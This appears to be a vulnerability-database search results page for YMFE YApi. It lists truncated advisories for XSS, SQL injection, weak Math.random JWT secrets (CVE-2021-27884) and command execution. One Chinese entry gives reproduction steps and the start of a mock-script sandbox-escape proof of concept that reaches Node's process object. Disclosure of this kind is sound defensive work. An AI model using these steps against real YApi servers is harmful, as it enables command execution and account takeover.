89 matches found
CVE-2021-36686: Improper Neutralization of Input During Web Page Generation
Cross Site Scripting XSS vulnerability in yapi 1.9.1 allows attackers to execute arbitrary code via the /interface/api edit page...
CVE-2021-36686
CVE-2021-36686 is an XSS vulnerability in YMFE YApi 1.9.1, exploitable via the /interface/api edit page. The issue affects the web interface code path used to edit API definitions; the precise root cause is described as a Cross Site Scripting flaw. The CVE entry notes that PoC exploits exist (exp...
CVE-2021-36686
Cross Site Scripting XSS vulnerability in yapi 1.9.1 allows attackers to execute arbitrary code via the /interface/api edit page...
YAPI SQL Injection Vulnerability
YAPI is an api management platform. YAPI is vulnerable to SQL injection, which can be exploited by attackers to obtain user token and cause command execution...
Yapi 远程命令执行漏洞
如何复现此问题 登录注册后，创建一个项目 然后选择设置全局的mock脚本，设置命令为远程访问我的服务器地址。 随后添加接口，访问接口的mock地址 服务器可看到响应如下，远程服务器接受到请求 poc: const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor'return process' const process = myfun...
Command Execution Vulnerability in YApi
YApi is an api management platform designed to provide more elegant interface management services for developers, products, and testers. It can help developers easily create, publish and maintain APIs. YApi suffers from a command execution vulnerability. An attacker can exploit this vulnerability...
Insecure Random Number Generator
yapi-vendor uses an insecure random number generator. The JSON Web Token JWT signing secret generation allows recreation of other users' JWT tokens due to the usage of an insecure random number generator Math.random...
Weak JSON Web Token in yapi-vendor
Weak JSON Web Token JWT signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used as a source of randomness in jwt signing. Math.random does not provide cryptographically secure random numbers. This has be...
GHSA-2H3H-VW8R-82RP Weak JSON Web Token in yapi-vendor
Weak JSON Web Token JWT signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used as a source of randomness in jwt signing. Math.random does not provide cryptographically secure random numbers. This has be...
CVE-2021-27884
Weak JSON Web Token JWT signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used...
CVE-2021-27884
Weak JSON Web Token JWT signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used...
Code injection
Weak JSON Web Token JWT signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used...
CVE-2021-27884
Weak JSON Web Token JWT signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used...
CVE-2021-27884
The vulnerability CVE-2021-27884 affects YMFE YApi up to version 1.9.2, where JWT signing secret is generated using Math.random() in Node.js. This weak randomness allows an attacker to recreate other users’ JWTs by exploiting predictable secret generation. Connected advisories (GHSA-2H3H-VW8R-82R...
CVE-2021-27884
Weak JSON Web Token JWT signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used...
YMFE YApi 安全特征问题漏洞
Sean1025 YMFE YApi is Sean1025 an open source application . Provides a visual interface management platform YMFE YApi through 1.9.2 A security vulnerability exists that allows the recreation of JWT tokens for other users...
CVE-2021-27884: Use of Insufficiently Random Values
Weak JSON Web Token JWT signing secret generation in YMFE YApi through 1.9.2 allows recreation of other users' JWT tokens. This occurs because Math.random in Node.js is used...
Insecure JWT Signing
yapi-vendor does not perform secure JWT signing. The function randStr uses a cryptographically insecure pseudo-random number generator Math.random to create a randomly looking string that later is used to sign and verify issued tokens...
Command Execution Vulnerability in YApi Interface Management Platform
YApi is an api management platform designed to provide more elegant interface management services for developers, products, and testers. It can help developers easily create, publish and maintain APIs. YApi interface management platform has a command execution vulnerability that can be exploited ...